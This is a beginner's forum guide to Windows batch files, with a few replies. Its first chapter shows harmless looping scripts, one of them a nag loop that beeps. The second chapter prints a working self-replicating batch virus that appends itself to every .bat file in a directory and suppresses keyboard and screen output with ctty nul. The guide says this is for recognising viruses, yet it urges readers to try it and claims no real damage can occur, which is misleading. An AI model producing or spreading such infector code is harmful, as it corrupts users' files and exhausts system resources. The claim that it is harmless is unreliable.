[Guide]Understanding and making some Batch Files

Hello and welcome to my continued thread about my Batch Basics.These are basically examples and will explain what each and everyone does.

Chapter 1: Loops
Want to make endless loops of fun? Then you've come to the right place!​

Now,this is a very basic loop:​

Code:

:loop
dir /s
goto loop

What that does is it displays the files on your hard drive and it will not stop ​

Another Simple Loop,This is also very simple,but more complex:​

Code:

:loop
echo Hi i'm Teh MM flooding this Screen <33
goto loop

What this does is rapidly spams the message "Hi i'm Teh MM Flooding this Screen <33"
it will not stop until you exit out of the batch program.​

This is the best loop command you can do while using Batch IMO:​

Code:

@echo off
:Cmon
cls
echo Cmon why can't you delete me?
pause bell^G^G^G
goto Cmon

What this does is,it will display "Cmon why can't you delete me?" and it will say "Press any key to continue" but by adding the command :Cmon and the option "goto Cmon" it will keep repeating and therefore will not cancel until you click the "X" at the top of the batch file.​

How do we do this?
Well,take these 2 parts of the code:​

Code:

:Cmon

What this is calling up on a command,therefore making it a command.​

Now check this part of the code out:​

Code:

goto Cmon

This is what the :Cmon Command is calling,so it will keep repeating and going to the beginning of the message "Cmon why can't do you delete me?"​

Chapter 2: Viruses

**THIS WAS NOT MADE FOR YOU TO SEND TO SOMEONE ELSE,IT'S TO KNOW HOW TO PICK OUT A VIRUS**
MAKE SURE YOU CHECK ALL BATCH FILES AND SEE WHAT'S IN SIDE OF THEM BEFORE YOU RUN!

Virus.bat

Code:

@echo off
ctty nul
for %%f in (*.bat) do copy %%f + virus.bat
ctty con

That is a simple way of infecting files in a directory.This is not a very common virus type because the way it infects. This virus will not only infect itself, but if it cant find anything to infect it will loop and re-infect all other batch files all over again until all the memory or system resources are taken up. This is a bug but also a feature. It just depends itself on any batch file, lame but somewhat effective if used in the correct context. Try it out and play with it, as no real damage can occur. Mind you it is very quick, so if you leave it for ten seconds it probably will have infected other batch files about 600 times. Batch file viruses are very fast and hit hard​

How do I know if my Batch files aren't infected?​

That's simple.Go to the batch program,right click it then click "Edit".That allows you to see the Text form of what's inside the Batch file.​

Code:

[B]@echo off -[/B] Turns off the commands written in the program so the user cannot see what you are typing.
[B]ctty nul -[/B] Disables the keyboard and screen output, meaning you can't stop the virus unless you turn off your PC.
[B]for %%f in (*.bat) do copy %%f + virus.bat -[/B] This puts the virus in all batch files and in the current directory
[B]ctty con-[/B]re-enables the keyboard and the screen display.

A virus is a program is a file made to copy itself from one file to another.You cannot get a virus unless you RUN IT!​

Thank you for taking the time to read my Guide.Need any help? Post here!
Any concerns or questions you can also post here.​

**Please keep all negative comments/remarks to yourself**​

 

Nicely done. Very detailed, but there are still waaay more to commands using batch files. 9/10 Pictures would make this a near-perfect guide.

 

I didn't see a point in pictures as the loops are animated and the virus i am not going to run.
I'm new to batch so not that experienced.

 

Might wanna note I think sending batch files over the internet is illegal.

 

Well,unless you're into private servers or something,but even then stick to making your own batch files.